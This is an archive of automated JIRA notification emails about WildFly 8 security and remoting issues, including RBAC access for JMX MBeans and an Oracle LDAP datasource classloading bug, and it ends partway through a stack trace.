     [ https://issues.jboss.org/browse/WFLY-382?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-382:
----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Fix & re-enable ignored XCAML tests
> -----------------------------------
>
>                 Key: WFLY-382
>                 URL: https://issues.jboss.org/browse/WFLY-382
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Security, Web (Undertow)
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Tomaz Cerar
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Currently ignore tests:
> {noformat}
> WebXACMLAuthorizationModuleTestCase
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:05 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-486) Implement Trust for users
 requesting to run as a different user.
In-Reply-To: <JIRA.12465488.1335957131000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12465488.1335957131000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12465488.1335957131000.24289.1379002445820@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-486?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-486:
----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Implement Trust for users requesting to run as a different user.
> ----------------------------------------------------------------
>
>                 Key: WFLY-486
>                 URL: https://issues.jboss.org/browse/WFLY-486
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Remoting, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Where SASL is used for authentication users can request to authenticate as themselves but to be authorized to connect to the server as a different user.
> A couple of examples where this could be used: -
>  - A user granting access to another user to log into their account.
>  - A user with two levels of access e.g. normal and admin and requesting they have admin level access.
> Another area we are looking to use this feature is where one server connects to another server but want to be able to run requests on the remote server using the identity of a specified user.
> This Jira issue is to enhance the security realms to allow for trust permissions to be defined - initially this will be local to a single realm but will subsequently be opened up to work across different realms.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:05 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-448) Authorization Checks for
 Services over Remoting
In-Reply-To: <JIRA.12457205.1327312634000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12457205.1327312634000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12457205.1327312634000.24285.1379002445641@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-448?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-448:
----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Authorization Checks for Services over Remoting
> -----------------------------------------------
>
>                 Key: WFLY-448
>                 URL: https://issues.jboss.org/browse/WFLY-448
>             Project: WildFly
>          Issue Type: Task
>          Components: Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>              Labels: Authorization
>             Fix For: 8.0.0.CR1
>
>
> As all services are now moving to be exposed over Remoting connectors they can all be secured using the same realm.  This task is to ensure each at the very least has a basis for an authorization check that can be extended for more complex service specific requirements.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:06 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-442) Review of AccessController and
 PrivilegedAction use across AS7
In-Reply-To: <JIRA.12482399.1357892166000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12482399.1357892166000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12482399.1357892166000.24296.1379002446148@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-442?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-442:
----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Review of AccessController and PrivilegedAction use across AS7
> --------------------------------------------------------------
>
>                 Key: WFLY-442
>                 URL: https://issues.jboss.org/browse/WFLY-442
>             Project: WildFly
>          Issue Type: Task
>          Components: Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> The following needs reviewing across AS7: -
>  - On demand instantiation of PrivilegedActions where singletons would suffice (Consider frequency of calls, gc may be preferable).
>  - Use of AccessController even though there is no SecurityManager set.
>  - Code duplication, in every case I have seen so far the code is the same regardless of if PRIVILEGED or NON_PRIVILEGED
>  - Utility methods with visibility too high.
>  - In depth review of the other methods, i.e. if the first thing a public method does is set the class loader based on a parameter passed in it could be used badly - it may even be a justification for that method to NOT use a PrivilegedAction.
>  - Code that requires to be executed using a PrivilegedAction should also be double checked that it is not doing too much as the identity of the caller.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:06 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-466) Detect JBossWS Configuration
 for @PermitAll endpoints within Undertow subsystem.
In-Reply-To: <JIRA.12489705.1366199995000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489705.1366199995000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489705.1366199995000.24299.1379002446259@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-466?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-466:
----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Detect JBossWS Configuration for @PermitAll endpoints within Undertow subsystem.
> --------------------------------------------------------------------------------
>
>                 Key: WFLY-466
>                 URL: https://issues.jboss.org/browse/WFLY-466
>             Project: WildFly
>          Issue Type: Task
>          Components: Web (JBoss Web)
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> UNDERTOW-38 has added the possibility of deploying web applications where authentication is mandated but no authorization checks are performed - this is required for integration use cases such as EJB endpoints where authorization checks are being left to the EJB container.
> This task is to update the Undertow susbsystem to detect this scenario and enable the new mode for UNDERTOW-38.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:06 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-379) Fix & re-enable ignored
	security tests
In-Reply-To: <JIRA.12488028.1364302655000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488028.1364302655000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488028.1364302655000.24304.1379002446422@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-379?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-379:
----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Fix & re-enable ignored security tests
> --------------------------------------
>
>                 Key: WFLY-379
>                 URL: https://issues.jboss.org/browse/WFLY-379
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Security
>    Affects Versions: 8.0.0.Alpha1
>         Environment: AS8 with undertow
>            Reporter: Tomaz Cerar
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> AS8 with undertow fails few security tests.
> This issue is here just for tracking what they are so they can be fixed

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:07 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-483) Allow more control over
 authentication for server to server communication through
 remote-outbound-connection
In-Reply-To: <JIRA.12469282.1340292148000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12469282.1340292148000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12469282.1340292148000.24332.1379002447444@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-483?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-483:
----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Allow more control over authentication for server to server communication through remote-outbound-connection
> ------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-483
>                 URL: https://issues.jboss.org/browse/WFLY-483
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Remoting, Security
>            Reporter: jaikiran pai
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Right now for server to server communication via a remote-outbound-connection, we expect a static username to be specified (along with the security realm). User applications which use this remote-outbound-connection, for example an EJB application, do not have much control over the user/pass information, since the username is static. This further acts a drawback since the username that's used to connect to the remote server will be used as the (application) user who invoked the EJB.
> It would be good to allow more control over the authentication for the remote-outbound-connection.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:07 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-375) Add support to specify ciphers
 available with Remoting
In-Reply-To: <JIRA.12469202.1340204162000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12469202.1340204162000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12469202.1340204162000.24339.1379002447720@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-375?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-375:
----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Add support to specify ciphers available with Remoting
> ------------------------------------------------------
>
>                 Key: WFLY-375
>                 URL: https://issues.jboss.org/browse/WFLY-375
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management, Remoting, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:08 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:08 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1433) Enhance add-user utility to
 allow user to select from known groups when assigning groups to a user
In-Reply-To: <JIRA.12493342.1370025633000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493342.1370025633000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493342.1370025633000.24342.1379002448009@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1433?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-1433:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Enhance add-user utility to allow user to select from known groups when assigning groups to a user
> --------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1433
>                 URL: https://issues.jboss.org/browse/WFLY-1433
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management, Scripts
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Also ensure add-user utility is talking about groups and not roles.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:08 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:08 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-447) Connection Reauthentication
 and Security Propagation
In-Reply-To: <JIRA.12478814.1352367103000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12478814.1352367103000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12478814.1352367103000.24354.1379002448444@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-447?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-447:
----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Connection Reauthentication and Security Propagation
> ----------------------------------------------------
>
>                 Key: WFLY-447
>                 URL: https://issues.jboss.org/browse/WFLY-447
>             Project: WildFly
>          Issue Type: Task
>          Components: EJB, Remoting, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> This task is a top level task to coordinate the addition of support for switching to different security identities on an existing connection over Remoting.  
> This is to predominantly cover two major scenarios: -
>  - Clients using a single connection but require different calls to be executed as different users, in this case the client has the information required to start a new authentication as a different user.
>  - Server to server communication where the first server has already authenticated a remote user - for this scenario the first server needs a way to tell the second server what identity to run the call as.
> The following document is building up the requirements and design considerations and decisions: -
> https://community.jboss.org/wiki/ConnectionRe-AuthenticationAndSecurityPropagation

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:08 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:08 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-383) Re-Evaluate or Remove
 WebSecurityJBossWebXmlSecurityRolesTestCase
In-Reply-To: <JIRA.12488273.1364495388000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488273.1364495388000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488273.1364495388000.24357.1379002448583@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-383?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-383:
----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Re-Evaluate or Remove WebSecurityJBossWebXmlSecurityRolesTestCase
> -----------------------------------------------------------------
>
>                 Key: WFLY-383
>                 URL: https://issues.jboss.org/browse/WFLY-383
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Test Suite, Web (Undertow)
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> I have marked this test as "@Ignore"d as I do not believe the capability that is being tested is actually valid.
> I can not find any evidence that we ever intended for a role to role mapping within the jboss-web.xml instead we only intended a principal to role mapping.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 13:06:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 12 Sep 2013 13:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2040) RBAC + JMX: auditor can't
 read sensitive non-core MBeans
In-Reply-To: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500404.1378817677000.24403.1379005563407@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2040?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803975#comment-12803975 ] 

Kabir Khan commented on WFLY-2040:
----------------------------------

I have made the original fix in my rbac-jmx-WFLY-2040 branch. My rbac-jmx-WFLY-2040-with-temp-tests contains your tests along with the changes needed to make the operations test work. Part of that are some fixes in remoting jmx to make it work, which is currently a snapshot. You can build that snapshot from https://github.com/kabir/remoting-jmx/commits/clear-subject-before-cl. I think Darran is planning on merging and releasing another CR tomorrow (Friday).
                
> RBAC + JMX: auditor can't read sensitive non-core MBeans
> --------------------------------------------------------
>
>                 Key: WFLY-2040
>                 URL: https://issues.jboss.org/browse/WFLY-2040
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, JMX
>            Reporter: Ladislav Thon
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>
> If I set non-core MBeans to be sensitive, like
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:jmx:1.3">
>     <expose-resolved-model/>
>     <expose-expression-model/>
>     <remoting-connector/>
>     <sensitivity non-core-mbeans="true"/>
> </subsystem>
> {code}
> then I expect all roles that can read sensitive data (administrator, auditor, superuser) to be able to read non-core MBeans too. This is currently broken, as only administrator and superuser can read non-core MBeans, auditor cannot. I have a test case for this that I will submit later, but the important part is:
> {code}
> boolean successExpected = ...; // 'true' for auditor
> MBeanServerConnection connection = ...;
> ObjectName domain = new ObjectName("java.lang:type=OperatingSystem");
> try {
>     Object attribute = connection.getAttribute(domain, "Name");
>     assertTrue("Failure was expected", successExpected);
>     assertEquals(System.getProperty("os.name"), attribute.toString());
> } catch (IOException e) {
>     if (e.getCause() instanceof RuntimeMBeanException && e.getCause().getMessage().contains("11360")) {
>         assertFalse("Success was expected but failure happened: " + e, successExpected);
>     } else {
>         throw e;
>     }
> }
> {code}
> Please note that I'm speaking about _reading_ sensitive data, which, if I understand correctly, auditor _can_ do.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 13:13:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 12 Sep 2013 13:13:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2040) RBAC + JMX: auditor can't
 read sensitive non-core MBeans
In-Reply-To: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500404.1378817677000.24411.1379005983785@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2040?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803976#comment-12803976 ] 

Kabir Khan commented on WFLY-2040:
----------------------------------

It is probably best to combine mine and your work into one PR once you are happy
                
> RBAC + JMX: auditor can't read sensitive non-core MBeans
> --------------------------------------------------------
>
>                 Key: WFLY-2040
>                 URL: https://issues.jboss.org/browse/WFLY-2040
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, JMX
>            Reporter: Ladislav Thon
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>
> If I set non-core MBeans to be sensitive, like
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:jmx:1.3">
>     <expose-resolved-model/>
>     <expose-expression-model/>
>     <remoting-connector/>
>     <sensitivity non-core-mbeans="true"/>
> </subsystem>
> {code}
> then I expect all roles that can read sensitive data (administrator, auditor, superuser) to be able to read non-core MBeans too. This is currently broken, as only administrator and superuser can read non-core MBeans, auditor cannot. I have a test case for this that I will submit later, but the important part is:
> {code}
> boolean successExpected = ...; // 'true' for auditor
> MBeanServerConnection connection = ...;
> ObjectName domain = new ObjectName("java.lang:type=OperatingSystem");
> try {
>     Object attribute = connection.getAttribute(domain, "Name");
>     assertTrue("Failure was expected", successExpected);
>     assertEquals(System.getProperty("os.name"), attribute.toString());
> } catch (IOException e) {
>     if (e.getCause() instanceof RuntimeMBeanException && e.getCause().getMessage().contains("11360")) {
>         assertFalse("Success was expected but failure happened: " + e, successExpected);
>     } else {
>         throw e;
>     }
> }
> {code}
> Please note that I'm speaking about _reading_ sensitive data, which, if I understand correctly, auditor _can_ do.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 13:48:03 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Thu, 12 Sep 2013 13:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.24440.1379008083582@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jay Kumar SenSharma reopened WFLY-2047:
---------------------------------------



Reopening this issue and will try to change the component to Jboss classloading 
                
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
